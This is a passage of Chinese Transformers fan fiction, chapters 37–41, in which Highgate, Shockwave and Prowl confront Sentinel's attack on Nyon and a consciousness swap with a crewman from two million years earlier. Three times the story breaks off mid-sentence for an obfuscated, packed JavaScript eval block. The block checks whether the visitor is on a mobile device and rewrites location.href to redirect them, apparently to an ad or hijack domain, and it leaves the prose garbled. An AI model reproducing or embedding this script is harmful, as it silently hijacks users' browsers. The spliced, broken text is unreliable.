低头望去,是如同被诅咒了一般黑暗的隧道。 他们顺着阶梯一路向下,过了很长一段时间,无极忽然嗤笑一声,声音回荡在幽暗的通道内。 “他的愚蠢帮了你大忙,不是吗?” “热破是个拥有勇气和智慧的人,你的评价有失偏颇。” “别装了,你知道事情结束后这座城市不可能存续下去。”无极说,“不管是你真实的机体破土而出,还是伪装此地的城市金刚拔地而起,尼昂都将不复存在。” 海格特只是平静地看他:“所以你是为了城市金刚而来。” “虽然要花些时间,但我本可以一举歼灭所有的霸天虎,肃清整个塞伯坦,但你那该死的频率阻断了我和他们的连接。” 无极没有正面回答,但也算是默认。 “是吗,那很遗憾。”海格特继续向前走去,“如果你是想要到这下面后占据我的机体,尝试控制它,那恐怕你要失望了。” “你以为这种话就能说动我?”无极冷笑,“不过是一台机器,连火种都没有。” “那你呢?”海格特问,“一个被困在迷你金刚机体里的暴君?” “省省吧,轮不到你来评价。”无极反驳,“这世界上第一台像你这样的机器就是微天星做出来的,我们知道从古至今所有机器的构成方式,你的本体要么是我们做的,要么就是某个人对我们技术的拙劣模仿罢了。” 视野的尽头忽然出现一丝浅蓝色的光芒。 在比塞伯坦次级防御层更深,深埋于尘埃与残骸之下的某处,闪烁着令人目眩的光。 他们站在一处广阔的地下空间。 “你真是这样认为的吗?”海格特问。 无极回答得毫不犹豫:“当然。” “那至少让我看看证据吧?如果正如你说的那样,微天星是我的创造者,那为什么要给我起Highgate这样一个丝毫不符合的名字?为什么要给我准备这样怪异的功能,让我爱上塞伯坦人燃烧的火种后又把我抛弃在地下?告诉我真相,告诉我你们的意图,你说啊——” 他站在一片蓝色中,神色晦暗不明地看着一言不发的无极。 “还是说,你根本看不见‘我’?” 在海格特身后,不可视的巨大之眼正在注视一切,就像两百万年前,它注视着第一次走到自己身边的塞伯坦人那样。 「检测到协议三启动。机体互通已开启。」 【“用和塞伯坦人一样的眼睛去看看这个世界吧。” “累了的时候就回来,没事的。” “无论是哪种模样,被你映入眼帘的,就是世界。”】 38.第三十八章 尼昂,地下某处。 陈旧落灰的空间、战斗的痕迹、失去意识后倒在一旁的迷你金刚…… 以及,那和记忆中别无二致的巨大装置。 当震荡波来到此地时,看到的就是这样一番景象。 他先是陷入了片刻恍惚,但很快就摘下能看见海格特本体的镜片。 面对人形的机器,科学家做出了和以往别无二致,热情又游刃有余的微笑表情。 “据说有些碳基生命,在离开栖息地后,不论相隔多远都能准确找回自己的巢穴。” 几乎就在他话音响起的瞬间,无论是巨大的眼型装置,还是站在它旁边的人型机器,所有的眼睛都直直看了过去。 蓝色倾洒在震荡波的身上,覆盖了他的涂装和光学接收器,这几乎有些恐怖,但他只是毫不在意地继续开口: “哪怕我已经销毁了任何有迹可循的线索,现在你还是找到这里,这是否意味着你也存在某种类似归巢行为的本能?” “……” 寻求证明,寻求答案,那毫无疑问是属于科学家的眼神。 但是有更加狂热的情绪凌驾于这一切之上,就像他那波动异常热烈的火种一样,现在只会让海格特产生移开视线的冲动。 “你可以不用这么戒备,”似乎看出他的想法,科学家说,“我这次不是来阻止你的,当然也不是来做科研。” “那你就没有出现在这里的理由了。”海格特说,“我已经开始进行神经连接,剩下的只是时间问题,我检查过尼昂的能源,你不可能将我破坏。” “为什么一定要显得我们好像敌对一样呢?” “根据你以往的行为判断,这是事实。” 听见对方固执的回答,震荡波只是无奈地笑:“新事物总是在摩擦之中产生。但无论你信不信,我来这里也不是为了和你辩论:你知道热破——那个尼昂的年轻领导者,为什么忧心忡忡?” “……” “竞天择要毁灭尼昂,而且已经在路上了。” “我知道,既然如此,你现在应该出去疏散朝天塔附近的尼昂居民,让我一劳永逸地结束这些事,这样谁都不会死。” 海格特疲惫地说。 “如果你真的是爱着塞伯坦的,就至少做点避免火种熄灭的事。” “当然,我为此准备了很久,”震荡波看着他的光学镜,“你想看到塞伯坦人能够平息纷争的证明,那就多给我一点时间,一两个恒星日就够了,你会看到的。” “我有什么理由冒着竞天择毁灭一座城市的可能去这么做?上次我相信了镇天威……结果你也知道,这是风险评估的问题。” “但是吸星绶带这次不会杀死任何一个人。” “吸星绶带。你是说竞天择使用的武器。” “看来消息真的已经传遍整个尼昂……没错,那是我的老师哲拉萨斯制造出来的高性能武器,也是两百万年前那起试航事件的原因,现在已经有办法解决它了——不只是解决现在的危机,还是以前的。” 说着如此荒诞的话,但那颗火种却没有说谎的意思,坦然到令人心慌的程度。 笼罩空间的蓝色有一瞬变得刺眼,但马上又平复下去。 海格特意识到自己应该愤怒,应该懊悔和悲伤,然而神经电路却平静得违背常理。 这似乎是一种非人性的证明——想到这,他的疲惫就加深了。 然而看到他这幅表情,震荡波却感到了怀念。 “我现在总算能理解一些事情。虽然你画出了我的火种,但在那幅画上,我能看到的只是一台不幸的机器罢了。” “……” “所以现在我也不想去看那台装置——尽管那也是你。我不清楚具体的功能,但启动后肯定就会剥夺塞伯坦人的未来,也就等同于你放弃了自我实现。” “你到底想做什么?” “我想帮助你。” 科学家毫不犹豫地说着。 “是你让我看到了可能性,换成其他方式都做不到。换一个领袖不行,换一个时代也是,哪怕我真的解决能源短缺,到头来还是无法解决问题的根源。所以我要让你抛弃不知是谁赋予你的形态,忘记不知是谁给予你的使命,仅仅作为塞伯坦人,作为助手留在我身边。” “你以为我会信吗……” “为什么不?你想理解塞伯坦人,那我也想理解你,这是很正常的事情。” 海格特沉默了。 他意识到其实从很久之前——或许从他们第一次相见起,震荡波就存在这种他无法理解的部分,只不过现在那些部分浮到表面了而已。 “不,这不正常,对一台机器说这样的话,你的内部线路一定存在某种扭曲。” “所以我才在这里,所以我才是我,”震荡波说,“在竞天择导致任何一颗尼昂的火种熄灭之前,我会向你证明。” 像容纳着生命般的浅蓝色光芒开始逐渐黯淡下去,科学家知道自己的话起作用了。 怀着一种无法解明的情绪,海格特暂停了连接自己本源的进程。 在遗忘过去的状态下,他曾经全心全意地相信过这个议员——或者说前议员。 虽然现在也不至于去憎恨震荡波,但是心情却不一样了。 对方身上那些他理解不了的部分,却会让自己感到有如目睹火种熄灭一般的痛苦。 看来不管是塞伯坦人还是机器,都是同等地由名为记忆的数据构成。 “‘至高之门’——你在那些文件内容里是这么称呼我的。”他往前走,“在竞天择过来之前,我就将它和现在的我分开看待也可以,但这充其量只是一种文字游戏……你迟早会意识到这一点,然后感到失望。” “哦不,别这样,我感到希望的概率又不是零。” 科学家笑了,就像过去还未担负起责任的时候那样轻松地竖起一根手指,开口道。 “永远都不是。” —— ———— 银白的载具在路上飞驰而过,轮胎碾过破碎的金属,发出刺耳的响声。他的身后跟着数个追兵,周遭不时还有弹/药掠过。 按照现在的速度,只要随便撞上什么东西,肯定都是粉身碎骨的结局。 但是对载具形态的警车来说已经没有考虑这些的空闲,他只能拼命提速,试图甩掉身后的追兵。 造成眼下局面的理由很简单,就是他失败了。 去武器库销毁吸星绶带的行动失败了,不是因为竞天择早有准备,而是他发现领袖居然已经启用了绝对不该动用的东西。 那是原本在抵御外来种族入侵、进入全星球一级防御事态的时候才能启用的巨型机械卫兵——终极破坏者,并且是所有的。 哪怕他提前绕开了所有警报系统,那些巨大的东西还是发现了他,于是竞天择对警车展开了追杀。 在绝对不讲理的暴力面前,逻辑与概率被打了个粉碎。 连那种毁灭兵器都被启用,显然竞天择不打算给尼昂任何机会,已经准备踏平那个地方,不管奥利安他们此行是死是活。 “……什么领袖,他就是个疯子。” 虽然总算后知后觉地意识到这一点,但信号遭到针对和屏蔽,在高速移动状态下他全神贯注地选择路线,根本无法分神动手恢复通讯,自然也就联系不上其他人。 这条信息必须送到小队那里。 如果竞天择成功毁灭尼昂,那么一切都完了。 秩序、正义、未来……一切将不复存在,他们的家园将陷入永无止境的战争。 已经没工夫考虑来不来得及,至少要让一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064071|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民众和小队撤离尼昂。 各项数值已经被提升到极限,内部系统不断跳出警报弹窗,警车本就不是竞速形的机体,虽经过严格训练,但天生的差距摆在那。 “不留活口也行,直接把他干掉!” 追兵里有空中单位,虽然不及霸天虎那里的追击者,但也能提速到自己无法超过的地步,警车只能凭借对战术地形的熟悉躲开一次次攻击。 还有别的办法吗? 值得信任的人就没有几个,警车先是想到奥利安和大黄蜂,但他们自己也身处险境,然后又想到海格特,那台机器的确能不受信号屏蔽限制地看见他,但整个塞伯坦那么多火种,哪有那么巧的事。 “砰!” 几颗导/弹在身边炸开,警车虽然成功躲闪,但爆炸的余波却将他的轮子震了起来。 仅仅一个打滑,车头就朝着某个方向失控冲去。 “哈!他要掉下去了!” 有追击者幸灾乐祸地说着,完全来不及思考,在这生死关头,警车反而加了速,同时向后甩出两枚小型导/弹。 爆炸发生了,然后是天旋地转。 脑模块被杂乱的信息流冲击着,警车对奥利安发出了警告信号,也不知道发没发出去,然后他听见追兵骂着翻动身边废墟的声音。 之后不知道过了多久,那些声音又突然安静下来。 机体各个部分都传来报错信息,甚至不用进行自体检查。 这回肯定要下线了,再次苏醒的概率……极低。 就在他这样想着的时候,眼前突然落下一片阴影。 有谁走到废墟上,遮住了黄矮星落入地平线前的最后一丝光芒。 “太可怕了。”那个熟悉的声音对他说,“是事故吗?真是非常不幸。” “怎么看都是……他杀吧……”警车听见自己的发声器勉强运作,伴随着电路灼烧的气息,“你还有工夫开玩笑?” 话虽如此,他却松了口气。 这里应该是尼昂的边界,而最后一次有这台机器的消息是在卡隆,现在不知为何,海格特就站在自己旁边。 ——即使我们所希望的一切都发生了,这也只能说是命运的恩惠。* 警车从来都不相信命运,或许是思维在极限状态下运转得比以往更加跳跃,他突然想起了这句话,那是他还在进修时读过的一本关于逻辑的书。 为什么我会这么想,难道我将自己的死亡视为必定事项,所以把海格特的出现视作一种奇迹吗? 他有些自嘲地想着,但比起无谓的考虑,这个时候还是获得准确的情报比较重要。 “你到底……为什么在这?” “我出现在这里不好吗?你非要理由的话,那就是你的火种快要熄灭了,我不能眼看着这种事情发生。” 海格特注视着他的光学镜。 “先睡一觉吧,辛苦了。” 图案亮起,意识陷入黑暗。 在使用能力将警车的意识上传到本体装置后,海格特通过内线联系了震荡波。 “我在尼昂城市郊区一带找到了警车,也上传了他的意识数据。” 他看着机体损伤严重的银白色塞伯坦人,维修起几根正在往外冒电火花的能量管线。 “就像你说的那样,这个能力用作麻醉的确起到一定效果,但是他的状况还是很不好,恐怕得准备医疗手术。” “我知道了,这就找人过去。” 他说完就准备结束通讯,但在那之前,海格特叫住了他。 “……这样就够了吗?”他问,“我觉得对现状来说,警车一人无法扭转现在的局势。” “要不然怎么说是奇迹发生呢?” 震荡波的声音里带着笑意。 “而且,并不是‘一个人’,你会知道的。” 39.第三十九章 约两百万年前,塞伯坦,斯坦尼克斯地区,尤斯镇。 “大事不好。” 林格嘴里叼着根吸管,有一下没一下地喝着能量饮料,面色却一本正经。 “我脑模块好像出问题了,可能是电子幽灵干的。” 听见这话,坐在他对面的海格特沉默片刻,最后像是感到困惑般地轻轻“嗯”了一声。 “所以?”他问。 “哪怕你不认同我的幽默,也不至于这么冷漠吧!” “不是,你误会了,”海格特看着他的光学镜,“我担心你的情况,但脑模块是很精密的器官,比起来我这,你应该找专业的帮助。” “唉,因为还不确定。”林格叹了口气,“方舟的试航马上就要开始了,如果检查一遍发现其实根本没问题,却因此被踢出名单,我绝对会恨死自己。” 作为黄金时代诞生的第一批“拼接火种”塞伯坦人,对他来说,这就是生命中最重要的事。 好不容易被选中作为船员,有跟领袖同行的机会,要是这时候放弃也太可怕了。 “但这种事情也不能拖延。”海格特安慰他,“既然你的变形模式是高性能飞行器,以后肯定还有机会。” “能不能别以我的脑模块真出了问题为前提说话……” 见他如此沮丧,海格特只能无奈道:“那就跟我说说情况,到底发生了什么事?” “我在内线里发现了一条邮件发送的记录,”林格再次严肃起来,“但完全没有印象。” 邮件内容已被删除,目标地址也一并被抹掉,虽然想尝试数据恢复,但是根本无从下手——删除进行得过于彻底,连最细微的数据流都没残余下来。 于是林格检查了那段时间的记忆,发现有五分钟左右的内容怎么也想不起来。 “为了节约内存,无用的记忆就是会在生活中烟消云散的,”海格特解释,“脑模块的运作流程就是这样,至于邮件,可能是某些细微的bug,不用紧张。” “但我总觉得不太对劲,你帮我做个基础检查行吗?别把数据上传到公用医疗库,能帮这个忙的人只有你了!” “那也可以,不过要花一点时间。” “没事,我一会飞过去,来得及。” 于是海格特去实验室取检查设备,在离开这个勉强能被称为客厅的房间前,他看了一眼林格。 那颗火种稍微有些不安,但更多的还是远行前的兴奋。 原本经他培育的冷制造火种,在进入幼生体阶段后就不会再产生什么联系,会和林格认识纯属是偶然。 那天,一台研究设备出了点问题,需要大量能量进行修补,于是他想出门采购。 结果抬头一看,有颗火种正在自己上方不远处盘旋。 为了不被发现,海格特从白天等到黄昏,最后实在等不下去就出了门。 后来才得知,那天林格因为被朋友爽约,又不想回家充电,所以才像个可疑人物似的在镇子边缘飞行徘徊了好久。 “没有被远程操纵或者脑模块损伤的迹象,”一番检查后,海格特做出了这样的结论,“我觉得没有问题,但如果你不放心,还是去进一步检查比较好。” “不,我相信你,谢谢。” 出于一种好奇和尊重并存的心态,在几次短暂的交流后,林格现在已经(可能是单方面地)将这个不爱出门的研究员认定为自己的朋友。 “我知道了,”海格特将检查设备收好,“但能告诉我吗?你为什么这么执着于方舟试航?” “这还用问?因为我想参加星际航行。” “那等技术更完善点再离开不是更好?” “呃,而且我崇拜镇天威领袖?想成为先驱队伍的一份子?” 他自己都不是很确定。 但大家都崇拜领袖,所以自己也大概是这么想的,被环境裹挟的情绪也是情绪。 “你不应该用疑问句。”海格特说。 “别在乎那些细枝末节,”林格笑了一下,“我走了,有空你也多出门走走。” 然后,他离开了这个大部分房间自己都不能进去的地下实验室。 —— ———— 离开尤斯,进入泛大陆高速公路,来到方舟的起航地点。 刚要进入上船队列时,林格忽然听见有人在背后说话。 “能稍等一下吗?” 有人问他。 “好的?” 林格回过头,看见一个陌生的塞伯坦人,比他稍微高一些,是个大型机。 涂装崭新,脸上挂着让人很愉快的那种热情笑容,出于一种直觉,林格觉得这人身份不凡。 “你就是林格?” “是的。” “噢,不好意思突然叫住你,”来者道了声歉,“我是哲拉萨斯大人的学徒,叫震荡波。” 林格顿时有些惶恐起来,他当然听过哲拉萨斯的大名,领袖的首席科学家,这次试航的重要人物——连方舟的设计图都是他画的。 不等他思考出该怎么回答,就听见震荡波继续说了下去: “时间不多,我就长话短说,虽然很向往这次航行,但我的老师没有批准我上船,能拜托你把这个帮我带上去吗?这是个……定位装置,它已经通过危险检查,绝对不是武器,不然也没法拿到这里。” 年轻的科学家说着,将一个圆型的装置递给他。 “我需要它来帮我完成一些实验,总之,请向我的老师保密。” “是。” 对首席科学家和领袖的憧憬让林格答应得异常爽快,有些激动地将装置接过。 不过,火种里还是产生了一个疑问。 “为什么是我?” “你认识海格特对吧?”似乎对此早有准备,震荡波有些神秘地笑了一下,“他也是我的朋友。” 虽然很想多问几句,但上船的队列已经快走到头,林格简短地说了声道别,然后就匆匆跟在队伍里进入方舟。 没想到海格特还认识这么位高权重的人。 既然如此,他为什么呆在那种地底呢? 林格有些诧异地想着。 从方舟也没法直接联系到塞伯坦,等回去的时候再仔细问问也不迟。 —— 之后,林格就被忙碌的工作和训练淹没了。 飞船驶入幽邃的星空,在日复一日的漫长航行后,方舟总算到达了目的地——一颗作为试航终点的小行星。 这里的气候复杂,远远看去,风暴在荒芜的地面上卷起厚重的尘埃。 于是队伍以数人一组乘坐小型飞行器为单位率先下了飞船,先遣部队开始对地形进行探查,林格也是其中之一。 就在他们下去没多久。 ——“轰!” 好像听见爆炸声从很远的地方传来。 按理来说,现在应该赶紧搞清楚状况,听从指令,但紧接着,林格的意识突然一黑。 怎么回事? 这是他来得及产生的唯一一个想法。 然后浑身各处传来剧痛,身体仿佛变得不属于自己似的。 一个漫长的瞬间过后,头晕目眩的林格突然清醒了过来。 尽管他连自己是什么时候昏迷的都不知道,有一种起死回生的感觉。 他看着明亮的天花板发了几秒的呆,立刻猛地坐起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我问你是从哪里知道林格的名字的!?” 海格特的表情变得像是被激怒了。 “不,所以我说我就是……” “不要再说了,哪怕这是玩笑也太过了。” 用从未有过的威胁语气说完这句话,像是终于无法忍受呆在这个空间,海格特摔门离开。 “呃……” 头好疼。 到底怎么回事啊? 林格皱着眉,捂着头雕。 从指尖传来的触感有些奇怪,但大概是生病的缘故。其实不仅仅是头雕,周围的一切都显得有些奇怪,他又说不上来是哪里不对。 按照逻辑来想大概就是这么回事:方舟试航出现了一些小事故,然后原地返回,或者继续进行,自己作为伤者被送回塞伯坦。 海格特……现在是医疗人员吗?但是看上去也不像。 为什么医疗坞里没有别的伤患? 林格困惑地想着。 然后,在一阵近乎茫然的情感中,他摸到了什么东西,在自己的额头上。 “……” 一个可怕的猜想忽然涌入脑模块,林格怔怔扭过头,在一片反光的深色金属上,他终于看到了自己现在的样子。 因为受了重伤,所以很多地方都还在治疗中,没装上外甲,头雕的损伤倒是问题不大,但那红色的角徽、肩炮、银白色的机体,无论怎么看—— 这都不是他。 40.第 40 章 现在,尼昂,某实验室内。 震荡波凝神看着眼前的圆盘型装置,它曾经损毁过一次,经过修补后才勉强重新启动,外壳上布满划痕。 思绪有一瞬回到了过去,但从身后传来的急促脚步声打断了他,是有谁推门而入的动静。 来不及回头,紧接着就听见砰地一声,门被关上了。 巨大的声响,同时还伴随着武器充能的动静,来者的愤怒溢于言表。 如果就这么回头,被杀掉的概率也不一定为零。 然而,在对方来得及开口前,震荡波就坦然地转过身,不仅无视了那把武器,还激动地按住了海格特的肩膀。 “他醒了对吧?” “……?” 为什么被武器指着,这个人还在笑? 被那异常的表情所震慑,海格特有一瞬间愣住。 但马上他就往后摆脱震荡波的阴影,脸上也恢复面无表情的冷漠。 “你对警车的脑模块做了什么手脚?” “我很想回答你,但那真的是警车吗?如果你看一眼他的火种……” “就是因为火种!” 波动已经完全变了,如果不看机体,海格特肯定会以为在那里的不是警车。 但这绝对不可能。 “林格在两百万年前就已经死了,”他再次举起武器,这是从热破那里借的,“无论这是人格覆盖、火种改变还是记忆篡改,都太过了点,你必须让警车恢复原样,不然这比皮影戏或者俱五刑还更……” “哪个都不是,而且这些指控过于严重,被你认为是这样的人,我也会难过的。” 震荡波摊开手,试图证明自己的无害。 “现在把枪放下好吗?我会解释一切。” 话虽如此,他刚说完就开始去身后找数据板了,根本不在乎枪的状态。 海格特不会杀死任何人,尤其是自己——震荡波对此颇有自信。 “我早就想过有这么一天,我会向你说起这件事,知道吗?这是个真正的奇迹。” 他难掩兴奋地说着,在海格特困惑的视线中,投影展现出一个机体。 海格特认得他,那是御天敌派来追杀他的人,名字是马仔。 “你还记得这个人吧,”震荡波说着,将投影上马仔的机体复制成两个,“实际上他有个火种兄弟,也是御天敌的走狗,经常会来我的学院附近闹事,但某天来找茬的时候,突然跟断线一样昏了过去。” “我顺着调查,发现在那个时间点你对马仔使用了能力——从那时起,我就猜测你的能力是一种意识上传。” 他说到这里,投影上划过一连串的复杂数据。 “这方面的运算调查就先跳过,总之,由于马仔和他兄弟的火种编码相同,所以两者会同时失去意识,因为你的能力针对的并不是机体或者脑模块,而是火种的编码。” 海格特皱起眉:“停一下,你讲这些和警车的状况有什么关系?他是冷制造者,不可能有火种兄弟。” “的确没有,虽然在领导模块里存在原型,但在塞伯坦上,他的火种编码依旧是独一无二的。”震荡波调出一颗火种的投影,“一般来说,被你上传意识的机体因为丢失了火种数据,所以会在神经皮层上直接失去反应,因为能操纵脑模块的连接消失了。但现在警车的机体还在行动,你知道这意味着什么吗?” “他的火种编码没有丢失?” “是的,他火种里的编码有两条,当一条被上传了,另一条就会浮现。” 说到这里,震荡波忍不住张开手臂,似乎为终于能解释一个伟大奇迹而情不自禁,而海格特则是一言不发,继续听了下去。 “两百万年前,属于林格的编码在方舟试航中出了事故,他的火种熄灭了,但作为载体的容器本身经过再次填充,产生了一条新的编码,那就是现在的警车,他们是完全不同的两个人,从机体、人格到记忆都毫无关联,唯一的联系只是编码诞生的位置。 一般来说这不会有问题,但当你使用能力时,那颗火种形成了一条类似虫洞的特异点。 来自两百万年前的编码短暂地被传送到这里,而警车则是被传送到了过去,所以他的意识没有被上传,而是产生了一种‘切换’现象。看过那部叫《你的代号》的电影吗?就是那种情况。” 没看过。 但海格特能理解震荡波是什么意思。 简单来说,因为自己能力的作用,警车的意识被送到两百万年前林格的机体里,而林格变成了警车,被送到现代警车的机体里…… 这算什么事。 “所以,你试图说服我这是个非常科学的事件?” “如果不科学还能叫事件吗?如果你想要论证过程,我可以把研究发给你,只是需要很长时间解读,毕竟我也调查了好多年。” “不必了。” 海格特很快就发现一个说不通的地方。 “你先回答我一件事:我以前对警车使用过能力,那个时候他确实昏迷了,既然会发生切换,为什么之前没有发生?” “发生了啊。” “我说了,那次警车的机体直接昏迷,林格的意识没有被传送过来。” “噢,按照我的理解,他当然来了——” 科学家笑了一下,神色就像是填上了最后一块拼图般心满意足。 “只不过那时他连自我意识都没有,更别提操纵机体——没错,由于两边时间不对等,那时的林格还没有诞生罢了。” —— ———— 几乎是三个气体置换的瞬息间,警车就意识到发生了什么。 -自己在一艘小型宇宙飞行器上。 -飞行器的队列正在向行星停靠。 -由于落后又缺乏经验的指挥(简直就像第一次进行星际着陆似的,理论书上的规章是一条没遵守),侧翼的一艘飞行器发生了爆炸事故。 -并且,总指挥不知为何没有任何反应。 换言之,他们作为先遣队就是牺牲品,没有引起任何重视,这样下去就要全军覆没了。 “……” 不管是重伤后被莫名其妙送到这里,还是发生了其他超乎想象的异常事态,现在要做的事情都只有一件—— 警车启动了飞行器上的通讯装置,用极为娴熟的手法调整控制面板上的频率,这里的设备不知为何老得出奇,像是几百万年前的老东西,破解起来异常顺利。 快速构建了几个通讯频率,然后他开了个全域广播: 【所有作战单位注意,按照紧急事态预案,请听从应急指挥。】 在这混乱又紧张的环境中,他冷静的声音就像一把激光手术刀割开空气,在反映了几塞星分后,先遣部队没有发出异议,所有人都默认般地开始听他的话。 【西侧x点位的队伍,你们的推进器过载了,立刻切断主能源供应然后进入滑翔模式,对说的就是你们,冒火花的那个。】 【1点方向的人注意,根据大气读数,现在还没到展开降落屏障的时候,不想死就别动控制面板。】 【落地需要的距离根据这个公式计算,给你们十秒时间算出来,算不出来我也救不了了。】 这人很可靠,但是嘴好毒…… 不对,他到底谁啊。 所有先遣队员的心里都产生了同一个想法。 然而求生欲让他们来不及多想,一个个都按照警车说的操作起来,最后落地的时候,除了最先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086021|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生爆炸的飞行器之外,没有增加任何的伤亡。 “这简直是奇迹!” “了不起!” 有人欢呼起来,而警车则是累得脑模块都发疼。 不对,不只是脑模块。 机体的各个部分全都开始报错,这到底是…… —— ———— “打扰你们说话了。” 有人推开尼昂实验室的门,声音有些虚弱。 海格特回过头看见了警车……不,现在应该是林格的火种在里面。 “林格?” 他赶紧过去,扶着林格坐到旁边的位置上。 “是我,我有点不太舒服,这是怎么回事?我在别人的机体里,是重伤的原因吗……” “不,是火种排异。”震荡波很快做出解答,“问题主要出现在火种和脑模块的连接上,一瞬间的数据置换会造成巨大的负担,并且随着时间越来越严重。” “那要怎么办?” “怎么造成的就怎么解决。” 震荡波说着,伸手似乎是想去点一下海格特的额头,但是被后者避开了。 机器正在用那双浅蓝色的眼睛责备着他。 “呃,我的意思是就用你的能力再切换一次就行。” “……我知道了。” 其实还想跟林格说几句话的。 但如果拖延下去会导致旧友的死,就太可怕了,他无论如何都不愿意看到事情变成那样。 于是海格特复杂地看了林格一眼,抱歉地笑了一下,就毫不犹豫地执行。 “没事的,这不是最后一面。”震荡波说了这么一句。 事情非常顺利,海格特上传了林格的意识数据后,警车的火种回到了他的火种舱,机体的各项指标也变得平稳。 “怎么搞的?” 被换回来的警车愣了一下,然后眯起眼看着海格特和震荡波。 “你们两个又在一块?” “‘又’?”海格特不解。 “别问,我需要休息,”警车单手捂着头雕,“而且现在有事情该解释的不是我。” 于是震荡波把刚才的内容对他说了一遍。 警车从来都极为聪明,他逻辑电路的运转速度可能是全星球顶尖的水平之一,于是在听了一遍(并掀了一张桌子)后,他就意识到发生了什么。 “所以因为你的能力,我跟一个来自两百万年前的死人互换了意识。” “……请不要那么称呼林格。” “还能怎么称呼?”警车看上去缓过来了,似乎又想掀一遍桌子,“竞天择马上就要打过来了,带着吸星绶带,我没时间回到过去搞这些乱七八糟的军队指挥!” “阻止竞天择的办法就在过去。” 震荡波说。 “吸星绶带有一条能进行远程操作的秘钥,只有哲拉萨斯知道,两百万年前的那次试航他也在现场。” “哦,那我有个更好的注意,我们杀进竞天择的队伍里,让这家伙,”警车指了指海格特,“用他那个能力把竞天择给上传了,然后皆大欢喜?” 震荡波摇头:“吸星绶带的启动是独立进行的,一经启动,哪怕操作者失去意识也会发生暴走,不然我们只用集中热能武器把他打败就行,也不用绕这么大的圈子。” “你怎么知道这么多?” “就是因为知道这么多,我才希望你能配合这个计划。” 前参议员迅速而巧妙地回避了自己和哲拉萨斯之间的关系问题。 “现在必须要做的事情有两件——救下两百万年前的那些火种,还有取得吸星绶带的秘钥,救下现在的尼昂。而这一切只有能回到两百万年前的你和林格能做到。” 41.第四十一章 地平线在燃烧。 奥利安·派克斯站在朝天塔的瞭望台上,远眺尼昂的边缘。 他经由热破的引领,已经在此见证了领袖腐败的证据,还没来得及理清现状,就被远处扑面而来的硝烟气味吸引了视线: 数个比楼宇还高的终极破坏者正在朝这里前进,武器中迸发出让尼昂化作灰烬的光流。火焰像暴雨般落下,房屋化作焦土,一幅地狱般的光景。 “集中注意,”奥利安立刻对小队发出指令,“竞天择赌上了最后的筹码,我们没得选,最后检查一遍武器,必须阻止他毁灭尼昂。” 就凭他们几个,跟领袖作对的成功率与风险完全不成正比,但看着奥利安坚定的背影,没有人提出反对。 小队很快就再次出发,朝着尼昂的边缘前进。 “还是没有警车的消息吗?”大黄蜂询问探长。 “他发出那条警告消息之后就再没动静了,我叫了救援队去搜索,但不会这么快就……”探长说到这,突然顿住,“等一下,刚刚接进来一条内部通讯。” 他立刻将通讯连到小队的内部频道。 “这个是这么操作的?”警车的声音。 “对,已经开始了。”海格特的声音。 “已经?!” “别紧张,该说什么已经在你的内线里写好,照着念就可以。”海格特说。 “但你没告诉我这么快就……唉…那个,各位好,我说一下作战部署。” 小队几人都陷入沉默。 如此犹豫、动摇、简直像个战场新手的发言,配上警车的声音导致违和感过于强烈,如果这是谁的伪装,未免太过拙劣。 铁皮仔细分析着通讯编码和声纹,但结果显示的确是来自那个前领袖副官,他想不明白,只能不做判断,把这事报告给队长。 “警车,你的状态是否异常?”奥利安问。 过了好几秒,对面才传来一句不确定的:“……他是说我?” 话音落下,通讯终端发出一阵响动,似乎是被谁一把拿了过去。 “警车伤得太重,脑模块受损了,现在甚至分不清自己是谁,”这次说话的是震荡波,“但作战部署计划提前留在内线存储里,所以还能向你们汇报。还有,尼昂周边的民众已经撤离完毕,你们注意安全,这里的事我和海格特会想办法。” 尽管还有很多疑点,但听见老友都这么说,再加上事态紧急,奥利安还是回了句:“明白了,随时联系。” 他仔细聆听战术专家的部署方案,略做评估后,毫不犹豫地给小队的其他成员做出了部署指令。 另一边,尼昂的地下实验室内。 在说完那些自己完全看不明白的战术方案后,林格关掉通讯。 “呼。” 像是刚从外太空回来似的,用力置换一口气。 内线的战术规划都是警车在上一次切换前留下的,因为必须回到过去继续指挥军队,所以让林格代为传达。 哪怕是照本宣科,他也生怕自己说错什么,不得不说,为了追求准确性,里面有些术语过于拗口了。 “虽然找了理由搪塞过去,但不得不说,”震荡波无奈地开口,“你的表演天赋实在太差。” “是,非常抱……” “没必要跟他道歉,也没必要学演戏,”海格特打断了林格即将脱口而出的话,“震荡波现在的身份不是元祖先锋队的学徒,更不是你的上级,那些话直接无视就好。” “嘿,太过分了吧?” 科学家想要抗议,但机器则是以时间有限为由跳开了这个话题。 “距离你们下一次意识切换还有不到半个塞星时,现在我们需要跟你讲解一下这个东西的使用方法。” 说着,他指向桌上那个圆盘型的装置。 林格立刻认出来这是登上方舟前震荡波给自己的东西,只不过眼前这个看上去旧了很多。 